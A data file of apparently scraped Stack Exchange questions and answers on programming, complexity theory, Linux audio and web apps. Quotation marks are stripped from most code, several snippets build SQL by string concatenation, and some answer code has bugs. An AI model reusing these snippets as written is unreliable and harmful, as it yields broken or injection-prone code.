{  "id": "_softwareengineering.298576"  , "question": "It is good programming style to include all necessary dependencies in a header that references them. Often this includes declarations that are placed in the STD & global namespaces (like cstdio). However, this creates problems when a second programmer wants to wrap such an include file in a new namespace to encapsulate the first one. With this scenario in mind, is there a way to force declarations into the global name space? As a conceptual example (this won't actually compile):foo.h --> original definition// force global namespace, this is redundant when foo is in the global space//   but could be important if foo included into another namespace.namespace :: {   #include <cstdio>}namespace foo {  FILE *somefile;}bar.h --> New file, by a new programmer, encapsulating foo.namespace bar {  # include foo.h  FILE *somefile;  // bar:somefile, as opposed to bar::foo::somefile}Without the putative namespace ::{} we end up with declarations like foo::FILE, and foo::printf(), when we just want ::FILE and ::printf().Popular libraries like boost resolve this by defining an explicit hierarchy. That would require that foo know it will be part of bar, and place global namespace includes outside of the local namespace definition. However, good extensibility requires that we be able to use foo directly, OR wrap foo in a new namespace, without having to change foo or its includes.Does anyone know how to accomplish this?"  , "title": "C++ Extensible namespaces - how to force declarations back into global namespace"  , "tags": "c++;namespace;extensibility;globals"  } 
{  "id": "_webapps.61016"  , "question": "I posted:Is there anyway to edit the post to change the title of the SoundCloud track sp1n DJs - Mix MIT GSC Boat Cruise - 23 - 05 - 2014 to something else?"  , "title": "How can I edit the information of a SoundCloud attachment in a Facebook post?"  , "tags": "facebook;soundcloud"  , "accepted_answer": "You cannot edit the information of a SoundCloud attachment in a Facebook post."  } 
{  "id": "_cs.4659"  , "question": "I have a number of related questions about these two topics.First, most complexity texts only gloss over the class $\\mathbb{NC}$.  Is there a good resource that covers the research more in depth?  For example, something that discusses all of my questions below.  Also, I'm assuming that $\\mathbb{NC}$ still sees a fair amount of research due to its link to parallelization, but I could be wrong.    The section in the complexity zoo isn't much help.Second, computation over a semigroup is in $\\mathbb{NC}^1$ if we assume the semigroup operation takes constant time.  But what if the operation does not take constant time, as is the case for unbounded integers?  Are there any known $\\mathbb{NC}^i$-complete problems?Third, since $\\mathbb{L} \\subseteq \\mathbb{NC}^2$, is there an algorithm to convert any logspace algorithm into a parallel version?Fourth, it sounds like most people assume that $\\mathbb{NC} \\ne \\mathbb{P}$ in the same way that $\\mathbb{P} \\ne \\mathbb{NP}$.  What is the intuition behind this?Fifth, every text I've read mentions the class $\\mathbb{RNC}$ but gives no examples of problems it contains.  Are there any?Finally, this answer mentions problems in $\\mathbb{P}$ with sublinear parallel execution time.  What are some examples of these problems?  Are there other complexity classes that contain parallel algorithms that are not known to be in $\\mathbb{NC}$?"  , "title": "Some questions on parallel computing and the class NC"  , "tags": "complexity theory;reference request;parallel computing;complexity classes"  } 
{  "id": "_codereview.21491"  , "question": "After I found the Change Tracking feature in SQL Server, I thought that I would love to have this information in a stream. That lead me to RX, and Hot Observables. I did some reading and came up with this.  I'm wondering if it could be improved.First is how I would use it, followed by the class that implements it:          var test = new MonitorDB.Server.PollChangeEvents(ConfigurationManager.ConnectionStrings[MonitorDB.Properties.Settings.db].ToString());      test.IntervalDuration = 1;      test.SubscribeToChangeTracking(MessageQueueStatus, MessageQueueStatusID);      test.StartMonitorChangesAcrossAllTables();      var subject = Guid.NewGuid();      var observer = test.Listen(subject.ToString());      var sub1 = observer.Subscribe(msg => Console.WriteLine(string.Format(Table {0} Operation {1} Key {2} Value {3}, msg.TableName, msg.Operation, msg.KeyName, msg.KeyValue)));      Console.ReadLine();  test.StopMonitoringChangesAcrossAllTables();  Console.ReadLine();using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Timers;using System.Data.SqlClient;using System.Collections.Concurrent;using System.Collections.ObjectModel;using System.Reactive.Linq;using System.Reactive.Disposables;namespace MonitorDB.Server{  public class PollChangeEvents   {    Timer _timer;    string _connectionString;    private readonly IDictionary<string, IObservable<ChangeTrackingEvent>> observers = new Dictionary<string, IObservable<ChangeTrackingEvent>>();    public PollChangeEvents(string pConnectionString)    {      _timer = new Timer();      GC.KeepAlive(_timer); //prevents attempts at garbadge collection      _timer.Elapsed += _timer_Elapsed;      _ChangeTrackingEvents = new ConcurrentDictionary<string, IChangeTrackingSubscription>();      _connectionString = pConnectionString;    }    void _timer_Elapsed(object sender, ElapsedEventArgs e)    {      TableMonitoring.AsParallel().ForAll(pTableSubscription =>      {        using (SqlConnection conn = new SqlConnection(_connectionString))        {          conn.Open();          using (SqlCommand cmd = new SqlCommand())          {            string CmdString = string.Format(select *, CHANGE_TRACKING_CURRENT_VERSION() from Changetable(changes {0},{1}) as T, pTableSubscription.Key, pTableSubscription.Value.LastChangeVersion);            cmd.CommandText = CmdString;            cmd.Connection = conn;            SqlDataReader reader = cmd.ExecuteReader();            while (reader.Read())            {              var newEvent = new ChangeTrackingEvent(pTableSubscription.Key, reader.GetName(5));              newEvent.Operation = reader[2].ToString();              newEvent.KeyValue = reader[newEvent.KeyName].ToString();              newEvent.LastChangeVersion = Int64.Parse(reader[6].ToString());              FIFOQueue.Enqueue(newEvent);              pTableSubscription.Value.LastChangeVersion = newEvent.LastChangeVersion;            }          }          conn.Close();        }      });    }    //Taken mostly from here    //http://awkwardcoder.blogspot.ca/2012/06/understanding-refcount-in-reactive.html#!/2012/06/understanding-refcount-in-reactive.html    //    public IObservable<ChangeTrackingEvent> Listen(string subject)    {      IObservable<ChangeTrackingEvent> value;      if (observers.TryGetValue(subject, out value))        return value;      IObservable<ChangeTrackingEvent> observable = Observable.Create<ChangeTrackingEvent>(o =>      {        var disposable = Observable.Timer(TimeSpan.FromMilliseconds(1), TimeSpan.FromMilliseconds(1))                                   .Timestamp()                                   .Subscribe(ts =>                                                     {                                                       ChangeTrackingEvent dequeuedEvent = null;                                                       FIFOQueue.TryDequeue(out dequeuedEvent);                                                       if (dequeuedEvent != null)                                                         o.OnNext(dequeuedEvent);                                                     }                                             );        return new CompositeDisposable(disposable, Disposable.Create(() => observers.Remove(subject)));      })      .Publish() //this makes it a hot observable, throw events without a subscription      .RefCount();      observers.Add(subject, observable);      return observable;    }    private ConcurrentQueue<ChangeTrackingEvent> FIFOQueue = new ConcurrentQueue<ChangeTrackingEvent>();    private int _IntervalDuration;    public int IntervalDuration    {      get { return _IntervalDuration; }      set { _IntervalDuration = value; }    }    ConcurrentDictionary<string, IChangeTrackingSubscription> _ChangeTrackingEvents;    private ConcurrentDictionary<string, IChangeTrackingSubscription> TableMonitoring    {      get      {        return _ChangeTrackingEvents;      }    }    public bool SubscribeToChangeTracking(string pTableName, string pKeyName)    {      var ChangeTrackingEvent = new ChangeTrackingEvent(pTableName, pKeyName);      return _ChangeTrackingEvents.TryAdd(pTableName, ChangeTrackingEvent);    }    public void StartMonitorChangesAcrossAllTables()    {      _timer.Interval = this.IntervalDuration * 1000;      _timer.Start();    }    public void StopMonitoringChangesAcrossAllTables()    {      _timer.Stop();    }  }}"  , "title": "Hot Observable of Change Tracking Events from SQL Server 2008 R2"  , "tags": "c#;system.reactive"  } 
{  "id": "_codereview.21532"  , "question": "I have written a piece of code that finds common patterns in two strings. These patterns have to be in the same order, so for example I am a person and A person I am would only match person. The code is crude, all characters, including whitespace and punctuation marks, receive the same treatment. The longest patterns are matched first.The main function then returns two lists (one per string) of tuples with two elements. The first element is 1 if a substring has been matched, else 0. The second element is the substring.So the format of returned lists will be like this:[(1, 'I '), (0, 'am a person\\n')][(1, 'I '), (0, 'can see\\n')]Now to the question -- what do you think about my code? I somehow feel that it's not quite top-notch, and I'm not an experienced coder. Any suggestions on coding style or the algorithms? I hope the code is reasonably clear.The find_raw_patterns function returns lists with alternating integers and strings, so the only thing find_common_patterns does in addition to calling find_raw_patterns, is to arrange the lists' elements in two-element-tuples.The function longest_common_substring is copied directly from Wikibooks, and I'm not very concerned about that function.Code:def longest_common_substring(S1, S2):    M = [[0]*(1+len(S2)) for i in range(1+len(S1))]    longest, x_longest = 0, 0    for x in range(1,1+len(S1)):        for y in range(1,1+len(S2)):            if S1[x-1] == S2[y-1]:                M[x][y] = M[x-1][y-1] + 1                if M[x][y]>longest:                    longest = M[x][y]                    x_longest  = x            else:                M[x][y] = 0    return S1[x_longest-longest: x_longest]def find_common_patterns(s1, s2):    arranged1 = []    arranged2 = []    (ptr1, ptr2) = find_raw_patterns(s1, s2) #ptr - pattern    for i in range(len(ptr1) - 1):        if type(ptr1[i]) == int:            arranged1.append((ptr1[i], ptr1[i+1]))    for i in range(len(ptr2) - 1):        if type(ptr2[i]) == int:            arranged2.append((ptr2[i], ptr2[i+1]))    return (arranged1, arranged2)def find_raw_patterns(s1, s2): # used recursively    one = [] # used to reassemble strings, but with patterns and integer showing whether it's been matched or not    two = [] # same, but for the second string    com = longest_common_substring(s1, s2)    if len(com) < 2:        return ((0, s1), (0, s2))    elif len(com) >= 2:        i1 = s1.index(com)        i2 = s2.index(com)        s1_bef = s1[:i1] #part of string before the matched pattern        s1_aft = s1[i1 + len(com) : ] # -//- after matched pattern        s2_bef = s2[:i2]        s2_aft = s2[i2 + len(com) : ]        if len(s1_bef) > 0 and len(s2_bef) > 0: # find patterns in first parts of strings            res = find_raw_patterns(s1_bef, s2_bef)            one.extend(res[0])            two.extend(res[1])        one.extend((1, com)) # add current pattern        two.extend((1, com))        if len(s1_aft) > 0 and len(s2_aft) > 0: # find patterns from second parts            res = find_raw_patterns(s1_aft, s2_aft)            one.extend(res[0])            two.extend(res[1])        return (one, two)"  , "title": "Python 3: Finding common patterns in pairs of strings"  , "tags": "python;strings"  , "accepted_answer": "You can simplify the two functions quite a bit. For find_raw_patterns you can use partition instead of manually splitting the strings up, and simplify the formation of the list.def find_raw_patterns(s1, s2): # used recursively    if s1 == '' or s2 == '':        return [], []    com = longest_common_substring(s1, s2)    if len(com) < 2:        return ([0, s1], [0, s2])    s1_bef, _, s1_aft = s1.partition(com)    s2_bef, _, s2_aft = s2.partition(com)    before = find_raw_patterns(s1_bef, s2_bef)    after = find_raw_patterns(s1_aft, s2_aft)    return (before[0] + [1, com] + after[0],            before[1] + [1, com] + after[1])For find_common_patterns, you can use list indices to get the even and odd values rather than checking the type of each value, and use zip to get a list of pair tuples.def find_common_patterns(s1, s2):    (ptr1, ptr2) = find_raw_patterns(s1, s2) #ptr - pattern    return (zip(ptr1[::2], ptr1[1::2]),            zip(ptr2[::2], ptr2[1::2]))But I think you can also combine the two functions with a minor adjustment to put the found values into paired tuples.def find_common_patterns(s1, s2): # used recursively    if s1 == '' or s2 == '':        return [], []    com = longest_common_substring(s1, s2)    if len(com) < 2:        return ([(0, s1)], [(0, s2)])    s1_bef, _, s1_aft = s1.partition(com)    s2_bef, _, s2_aft = s2.partition(com)    before = find_common_patterns(s1_bef, s2_bef)    after = find_common_patterns(s1_aft, s2_aft)    return (before[0] + [(1, com)] + after[0],            before[1] + [(1, com)] + after[1])"  } 
{  "id": "_codereview.42001"  , "question": "public class Office{    private Int32 _SyncID;    private string _OfficeName;    #region Properties    public Int32 SyncID    {        get { return _SyncID; }        set { _SyncID = value; }    }    public string OfficeName    {        get { return _OfficeName; }        set { _OfficeName = value; }    }    #endregion    public void GetOffice(int syncID)    {        List<Office> results = new List<Office>();        var sql = @Select so.SyncID,    so.titleFrom Offices oLeft Outer Join SyncOffices so On so.id = o.SyncIDWhere o.SyncID = @syncID;         using (var connection = new SqlConnection(Settings.ConnectionString))        using (var command = new SqlCommand(sql, connection))        {            command.CommandType = CommandType.Text;            command.Parameters.AddWithValue(@syncID, syncID);            connection.Open();            using (var reader = command.ExecuteReader())            {                while (reader.Read())                {                    var office = new Office();                    office.SyncID = reader.GetInt32(0);                    office.OfficeName = reader.GetString(1);                    results.Add(office);                }            }        }        this.SyncID = results.FirstOrDefault().SyncID;        this.OfficeName = results.FirstOrDefault().OfficeName;    }}"  , "title": "Class for Managing Office Details"  , "tags": "c#;sql server;asp.net mvc 4"  , "accepted_answer": "The current code will ensure that the list has only one entry (i.e. the last one) ...results = new List<Office>();results.Add(office);... because invoking results = new List<Office>() will discard any previous list elements.If you expect your SQL join where to produce exactly one (or, zero or one but not more than one) element then you can assert that; perhaps something like ...if (reader.Read())    ... get the data ...if (reader.Read())    throw new Exception(Too many rows);... or ...string rc = null;while (reader.Read()){    if (rc != null)        throw new Exception(Too many rows);    rc = reader.GetString(1);}Perhaps your GetOffice method could be the Office constructor; or be a static factory method of Office."  } 
{  "id": "_unix.196447"  , "question": "I need to do it without using the ' character.I could do it like this:awk '{sum+=$5} END { print Average = ,sum/NR}'except this contains a  '. "  , "title": "How to average a column in a text file without using ' character?"  , "tags": "linux;bash;sed;awk;perl"  , "accepted_answer": "You don't need '' (strong quotes), you can use the weaker form , except you then need to escape the s.awk {sum+=\\$5} END { print \\Average = \\,sum/NR}But why?"  } 
{  "id": "_cs.63847"  , "question": "Lexical Analyzer mostly deletes comments and white-spaces. One example where I think Lexical Analyzer might not be discarding white-spaces is in Python language, as indentation has a important role in python. But I can't think of practical example where comments are/should be kept by Lexical Analyzer? Is there any such example you can think of? "  , "title": "White-space and comment by lexical analyzer"  , "tags": "compilers;parsers;lexical analysis"  , "accepted_answer": "White-space and comments can contain valuable information.For white-space, you can look at layout sensitive languages, like Python or Haskell. I'm not sure how their lexers work, but off the top of my head I would store an indentation level, not the actual white-space.For comments, it can be useful to store these if you want to generate documentation from Javadoc-style comments. For Javadoc, the parameter types do not have to be specified in the docblock (unlike PHPDoc, for instance). This means that a documentation generator would have to look at both the comments and the method header (everything before {). For the latter the lexer can be used, for the former it cannot (presuming the lexer removes comments).I'm note sure how Javadoc-based documentation generators work, so perhaps the above is inaccurate, but the general idea is correct. I'm working on the Cloogle project, a Clean function search engine similar to Haskell's Hoogle. We hook into the Clean compiler to parse function types from all standard libraries. It would be nice if we could show comments around the definition as well, but the lexer removes this information. So, if we want to display comments, we have to adapt the compiler's frontend, or write a simplistic program that finds comments around some function, without lexing everything. If the lexer and parser would store comments, we would have a much more elegant solution."  } 
{  "id": "_codereview.74042"  , "question": "I've read somewhere on Stack Overflow that doing queries in a loop is very inefficient. It will hammer your SQL server and make your script very slow.Sample code:// Connect to SQL Server 1$query = SELECT * FROMarticles;$resource = mysql_query($query);$articles = array();while $record = mysql_fetch_assoc($resource) {    $articles[] = $record;}// The part that bothers me:// (Note: this is executed on a different sql server)foreach ($articles as $article) {    // Connect to SQL server 2    $sQuery = SELECT artcode FROM articles WHERE id='.$article['id'].';    $sResource = mysql_query($query);    if (mysql_num_rows($sResource) == 1) {        $data = mysql_fetch_assoc($sResource);        // Connect to SQL Server 1 again ...        // This will be executed on the first sql server again        $uQuery = UPDATE articles SET artcode='.$data['artcode'].' WHERE id='.$article['id'].' LIMIT 1;        $uResource = mysql_query($query);    }}How would I go and make this code more efficient. (In best case scenario avoiding doing the query in a loop.)"  , "title": "Looping to update article codes on one server based on queries on another server"  , "tags": "php;performance;sql;mysql"  , "accepted_answer": "The problem: there is a query being performed inside a for-loop.foreach ($articles as $article) {    // Connect to SQL server 2    $sQuery = SELECT artcode FROM articles WHERE id='.$article['id'].';}The solution: move the query outside of the for-loopforeach ($articles as $article) {    $articleIds[] = $article['id'];}$sQuery = SELECT artcode FROM articles WHERE id IN '.implode(',',$articleIds).';Then loop over the result of that query and peform the update query. Again, this update query be moved outside the loop. Check this for more info."  } 
{  "id": "_unix.141598"  , "question": "I have a focusrite scarlett 8i6 soundcard and I would like to make many sounds with it. Currently it's deadly silent and I want to crack on with some programming whilst listening to music!I usually go for a very standard Ubuntu install, but thought I would give Linux Mint a try, but the soundcard doesn't seem to work currently.After some fiddling with Linux Mint I've actually made it recognise the soundcard.cat /proc/asound/cards: 1 [USB            ]: USB-Audio - Scarlett 8i6 USB                  Focusrite Scarlett 8i6 USB at usb-0000:00:14.0-1, high speedI've blacklisted the onboard soundcard, but now I'm not sure how to use this one. It isn't picked up in sound preferences, by default that just has a dummy output now. I've got pulseaudio, alsa and jack installed, but have no idea how to actually get any or all of those working together.Some other info:# /sbin/lsmod | grep sndsnd_usb_audio         149200  0   snd_usbmidi_lib        25070  1 snd_usb_audiosnd_hwdep              13602  1 snd_usb_audiosnd_seq_midi           13324  0 snd_seq_midi_event     14899  1 snd_seq_midisnd_rawmidi            30095  2 snd_usbmidi_lib,snd_seq_midisnd_seq                61560  2 snd_seq_midi_event,snd_seq_midisnd_pcm               102033  1 snd_usb_audiosnd_seq_device         14497  3 snd_seq,snd_rawmidi,snd_seq_midisnd_page_alloc         18710  1 snd_pcmsnd_timer              29433  2 snd_pcm,snd_seqsnd                    69141  9                    snd_usb_audio,snd_hwdep,snd_timer,snd_pcm,snd_seq,snd_rawmidi,snd_usbmidi_lib,snd_seq_device,snd_seq_midisoundcore              12680  1 sndI've also updated /etc/modprobe.d/alsa-base.conf:options snd-usb-audio index=0aplay --list-devices: **** List of PLAYBACK Hardware Devices **** card 1: USB [Scarlett 8i6 USB], device 0: USB Audio [USB Audio]  Subdevices: 1/1  Subdevice #0: subdevice #0I don't really know much about pulseaudio, other than the basic of what it does.But the soundcard doesn't seem to be picked up by it.pacmd list-cardsWelcome to PulseAudio! Use help for usage information.>>> 0 card(s) available.For completeness the output of speaker testspeaker-test 1.0.27.1Playback device is defaultStream parameters are 48000Hz, S16_LE, 1 channelsUsing 16 octaves of pink noiseRate set to 48000Hz (requested 48000Hz)Buffer size range from 192 to 2097152Period size range from 64 to 699051Using max buffer size 2097152Periods = 4was set period_size = 524288was set buffer_size = 20971520 - Front LeftTime per period = 12.425529But still no sound.Any suggestions?*******UPDATE***********Command: amixer -c 0 contentsnumid=1,iface=MIXER,name='Scarlett 8i6 USB-Sync'  ; type=ENUMERATED,access=rw------,values=1,items=2  ; Item #0 'Internal'  ; Item #1 'S/PDIF'  : values=0"  , "title": "Focusrite Scarlett 8i6 With linux mint"  , "tags": "linux;linux mint;audio;alsa;pulseaudio"  } 
{  "id": "_codereview.112202"  , "question": "I've been trying to learn Java and one way I've been teaching myself is by tackling programming challenge questions.One such question is reverse the character order of words in a string.For example,  I   have a hat    =>  I   evah a tah    (note the spaces). In my implementation, I don't deal with punctuation, so I have a hat! => I evah a !tah.I've written an implementation and I'd like some feedback, particularly regarding the readability and efficiency of the code (basically, is there a slicker implementation of what I'm trying to accomplish - to me, the answer is yes, especially the last part of my implementation).The implementation is basically doing the following:Create a one element-sized String array called candidateReversedWordsString and initialize it with the input StringCreate a StringBuilder that will build all the reversed words.Iterate through the characters in the stringIf the character is not a space and the StringBuilder is empty, note the character index value in the wordStartIndex variable and add the character to the StringBuilder.If the character is not a space and the StringBuilder is not empty, add the character to the StringBuilderIf the character is a space and the StringBuilder is not empty, take the only element in the candidateReversedWordsString array and basically concatenate the element with the reversed word from the StringBuilder using substrings.If at the final character and the StringBuilder is not empty, slight adjustment to the concatenationpublic String reverseWordsInString(final String string) {    final String[] candidateReversedWordsString = new String[1];    candidateReversedWordsString[0] = string;    int stringCharacterIndex = 0;    int wordStartIndex = 0;    final StringBuilder reverseWordStringBuilder = new StringBuilder();    while (stringCharacterIndex < string.length()) {        if (' ' != string.charAt(stringCharacterIndex)) {            if (reverseWordStringBuilder.length() == 0) {                wordStartIndex = stringCharacterIndex;            }            reverseWordStringBuilder.append(string.charAt(stringCharacterIndex));        }        if (' ' == string.charAt(stringCharacterIndex) && reverseWordStringBuilder.length() > 0) {            candidateReversedWordsString[0] = new StringBuilder().                    append(candidateReversedWordsString[0].substring(0, wordStartIndex)).                    append(reverseWordStringBuilder.reverse().toString()).                    append(candidateReversedWordsString[0].substring(stringCharacterIndex)).toString();            reverseWordStringBuilder.setLength(0);        }        if (stringCharacterIndex == string.length() - 1 && reverseWordStringBuilder.length() > 0) {            candidateReversedWordsString[0] = new StringBuilder().                    append(candidateReversedWordsString[0].substring(0, wordStartIndex)).                    append(reverseWordStringBuilder.reverse().toString()).toString();        }        stringCharacterIndex++;    }    return candidateReversedWordsString[0];}"  , "title": "Reverse the character order of the words in a string"  , "tags": "java;strings;programming challenge"  , "accepted_answer": "I like the effort that you put into naming your variables.  You may have gone a bit overboard, though.  For example, instead of candidateReversedWordsString, how about result?A few mechanical issues:This could be a static method, since it relies on no instance state.It's pretty funny that you defined a final String[] of length 1 to store one String with the ability to change its only element.  Why not just use a regular String variable?You have int stringCharacterIndex = 0;  while (stringCharacterIndex < string.length()) {          stringCharacterIndex++; }That pattern would be easier to understand if written asfor (int i; i < string.length(); i++) {    }Here, I would opt for a short variable name i, which has the connotation of being a loop counter that is an index.  string[i] is easy enough to understand.This statement summarizes your strategic error:candidateReversedWordsString[0] = new StringBuilder().        append(candidateReversedWordsString[0].substring(0, wordStartIndex)).        append(reverseWordStringBuilder.reverse().toString()).        append(candidateReversedWordsString[0].substring(stringCharacterIndex)).toString();Basically, you are rebuilding the entire tentative result string every time you want to reverse a word.  That's bad for performance, and also complicates your code.I think that you would be better off without using any StringBuilder, and just using a char[] instead, especially since you know that the result will be exactly the same length as the input.Consider this solution instead:public static String reverseWords(String string) {    char[] c = string.toCharArray();    int wordStartIndex = -1;    for (int i = 0; i < c.length; i++) {        if (c[i] == ' ') {            // Ignore spaces            continue;        }        if (wordStartIndex < 0) {            // Mark start of word            wordStartIndex = i;        }        if (i + 1 == c.length || c[i + 1] == ' ') {            // Word ends here; reverse it            for (int a = wordStartIndex, b = i; a < b; a++, b--) {                char swap = c[a];                c[a] = c[b];                c[b] = swap;            }            wordStartIndex = -1;        }    }    return new String(c);}"  } 
{  "id": "_codereview.77264"  , "question": "I started out practicing on implementing the builder pattern and somehow ended it up with this 2 hours later. It isn't really much, but it works and I'm hoping review should bring about a lot of insight.I'm curious in pinpointing:Which part(s) are well executed? I've never done anything 'game' like so I have no idea what's a good idea and what isn't.Which part(s) could be considered poorly executed? I wanted to standardize the outputs and decreased repetition as best I could through method calls but I still get the feeling that a few things are redundant.General feedback on efficiency of the program. Particularly, little things, I'm wondering if it would make more sense to makeStringbuilder and use append instead of using string concatenation.The Dragon class:class Dragon {    int atk, def, hp, hpMax, mp, mpMax, exp, lvl;    String name;    Element element;    Race race = Race.DRAGON;    Dragon(Builder d) {        atk = d.atk; def = d.def; hp = d.hp; hpMax = d.hp;        mp = d.mp; mpMax = d.mp; lvl = d.lvl;        name = d.name; element = d.element;    }    static class Builder {        int atk = 0, def = 0, hp = 1, mp = 0, lvl = 1;        String name;        Element element = Element.NEUTRAL;        Builder(String name){ this.name = name; }        public Builder atk(int val){ atk = val; return this; }        public Builder def(int val){ def = val; return this; }        public Builder hp(int val){ hp = val; return this; }        public Builder mp(int val){ mp = val; return this; }        public Builder element(Element e){ element = e; return this;}        //You can't generate a dragon. A dragon is born!        public Dragon born(){ return new Dragon(this); }    }    public void addExperience(int exp){ this.exp  += exp; }    public String getStatus() {        return this.name +  has  + this.atk +  attack  + this.def +             defense  + this.mp + / + this.mpMax +  mana and  +            this.hp + / + this.hpMax +  health.        ;    }}Element enum:    public enum Element {    LIGHT, DARK, FIRE, WATER, AIR, EARTH, NEUTRAL;    @Override    public String toString() {        return super.toString().substring(0, 1).toUpperCase() +             super.toString().substring(1).toLowerCase();    }}Race enum:public enum Race {    DRAGON;    @Override    public String toString() {        return super.toString().substring(0, 1).toUpperCase() +             super.toString().substring(1).toLowerCase();    }}I haven't yet really implemented these two yet but I included them for the sake of completion.Main: import java.util.Scanner;public class BattleSim {    static Scanner input = new Scanner(System.in);    public static void main(String[] args) {        System.out.print(What is your name? );        String name = input.nextLine();        Dragon player = new Dragon.Builder(name)            .atk(5).def(2).hp(25).mp(7).born();        Dragon challenger = new Dragon.Builder(Glaurung)            .atk(6).hp(15).born();        System.out.println(You are a Dragon.\\n +            Not the order your underlings around 'big bad' that barely +             ever shows up kind +            but bonafide sky soaring, loot hoarding, city scorching Dragon.        );        System.out.println(\\nWhile you were out being awesome another dragon  +             stole your princess.\\nYour damsel's in distress. +             You 'gonna take that?        );        battle(player, challenger);        System.out.println(Thanks for checking this out fellow CRers.);    }    public static int printBattleMenu() {        System.out.print(\\nBattle menu\\n1: Attack\\n2: Defend  +            \\n3: Abilities\\n4: Status\\n5: Enemy Status\\nEnter a choice:         );        int selection = input.nextInt();        while (selection > 5 || selection < 1) {            System.out.print(Out of range. Enter a choice (1-5): );            selection = input.nextInt();        }        return selection;    }    public static int printAbilityMenu() {        System.out.print(\\nAbility menu\\n1: Rage Claw - 2 mp +            \\n2: Meditate - gain 3 mp\\n3: Healing breath - 3 mp +            \\n4: Back\\nEnter a choice:         );        int selection = input.nextInt();        while (selection > 5 || selection < 1) {            System.out.print(Out of range. Enter a choice (1-4): );            selection = input.nextInt();        }        return selection;    }    public static void printBattleStatus(Dragon x, Dragon y) {        System.out.println(x.name +  has  + Math.max(0, x.hp) +             health and the opposing  + y.name +  has  +            Math.max(0, y.hp) +  health remaining.        );    }    public static void battle(Dragon x, Dragon y){        int damageDealt, damageTaken, recoveryValue;        System.out.println(\\t\\t\\tVS.  + y.name);        do {            switch(printBattleMenu()) {                case 1:                     damageDealt = Math.max(0, x.atk - y.def);                    damageTaken = Math.max(0, y.atk - x.def);                    System.out.println(x.name +  deals  + damageDealt +                         damage and takes  + damageTaken  +  damage.                    );                    x.hp  -= damageTaken;                    y.hp  -= damageDealt;                    // Print current status                    printBattleStatus(x, y);                    break;                case 2:                    damageTaken = Math.max(0, y.atk - x.def * 2);                    System.out.println(x.name +  takes a defensive stance and  +                         takes + damageTaken + damage.                    );                    printBattleStatus(x, y);                    break;                case 3:                     switch(printAbilityMenu()) {                        case 1:                            damageTaken = Math.max(0, y.atk - x.def);                            if (x.mp < 2) {                                System.out.println(Insufficient mana. +                                    \\nOpposing  + y.name +  took advantage of your +                                     foolishness to attack.                                );                            } else {                                damageDealt = Math.max(0, x.atk * 2 - y.def);                                x.mp -= 2;                                System.out.println(x.name +                                     's claws are infused with mana!                                );                                System.out.println(x.name +  deals  +                                    damageDealt +  damage and takes  +                                    damageTaken +  damage.                                );                                y.hp -= damageDealt;                            }                            x.hp  -= damageTaken;                            printBattleStatus(x, y);                            break;                        case 2:                            damageTaken = Math.max(0, y.atk - x.def);                            System.out.println(x.name +                                 absorbs the mana of the land.                            );                            x.mp = Math.min(x.mpMax, x.mp + 3);                            System.out.println(x.name +  takes  +                                damageTaken +  damage.                            );                            x.hp  -= damageTaken;                            printBattleStatus(x, y);                            break;                        case 3:                            damageTaken = Math.max(0, y.atk - x.def);                            if (x.mp < 3) {                                System.out.println(Insufficient mana. +                                    \\nOpposing  + y.name +  took advantage +                                     of your foolishness to attack.                                );                            } else {                                recoveryValue = (int)Math.floor(x.hpMax * 0.3);                                x.hp = Math.min(x.hpMax , x.hp + recoveryValue);                                x.mp  -= 3;                                System.out.println(x.name +  recovers  +                                    recoveryValue +  health!                                );                            }                            x.hp  -= damageTaken;                            System.out.println(x.name +  takes  +                                damageTaken +  damage.                            );                            printBattleStatus(x, y);                            break;                        case 4: // do nothing                            break;                    } // End of Ability Switch                    break;                 case 4:                     System.out.println(x.getStatus());                    break;                case 5:                    System.out.println(Opposing  + y.getStatus());                    break;            } // End of Selection Switch                    } while(x.hp > 0 && y.hp > 0);        if (x.hp == y.hp){            System.out.println(It is a double K.O.);        } else if (x.hp > y.hp){            System.out.println(x.name +  is the victor!);        } else {            System.out.println(y.name +  has slain you!);        }        // setting values back to full        x.mp = x.mpMax;        x.hp = x.hpMax;    }}"  , "title": "How to Train Your Dragon"  , "tags": "java;object oriented;design patterns;game;adventure game"  , "accepted_answer": "This is smelly:class Dragon {    Race race = Race.DRAGON;You see, why does a Dragon need an enum field to re-state that it is a Dragon.This is error-prone:Dragon(Builder d) {    atk = d.atk; def = d.def; hp = d.hp; hpMax = d.hp;    mp = d.mp; mpMax = d.mp; lvl = d.lvl;    name = d.name; element = d.element;}It's pretty hard to read which values from the builder get assigned.It's easy to get lost in the middle of those lines and possibly forget to assign something very important.The common writing style is to have all assignments on their own lines.It's also good to stop here for a second about naming...Why name a Builder variable d? How about builder?The field names seem unnecessarily shortened.For example attack and defense are not that long,and immediately more natural than atk and def.    //You can't generate a dragon. A dragon is born!    public Dragon born(){ return new Dragon(this); }To be precise, a dragon is born... from a Dragon.Builder? That's interesting :PThis, used in both Element and Race is very tedious:@Overridepublic String toString() {    return super.toString().substring(0, 1).toUpperCase() +         super.toString().substring(1).toLowerCase();}A simpler way would be to name the enum constants already Capitalized,and omit completely the custom toString implementation,for example:public enum Race {    Dragon}Or, if you really prefer enum constants as all-caps,at least move the common capitalization logic to a utility class to eliminate duplicated code, for example:public class StringUtils {    private StringUtils() {        // utility class, forbidden constructor    }    public static String toCapitalized(String label) {        return label.substring(0, 1).toUpperCase() + label.substring(1).toLowerCase();    }}public enum Element {    LIGHT, DARK, FIRE, WATER, AIR, EARTH, NEUTRAL;    @Override    public String toString() {        return StringUtils.toCapitalized(super.toString());    }}The BattleSim.battle method is awfully long.It would be good to try to break it into smaller pieces.In terms of OOP,there isn't much to see here.Although you called the main class Dragon, it's not very Dragon-like.It might as well be a Human Wizard:it has attributes like attack, defend, mana,but it doesn't have features like breath attack, paralyzing terror, flying.It's not clear how to extend the existing classes to add such and more features,it seems that thorough thinking would be needed."  } 
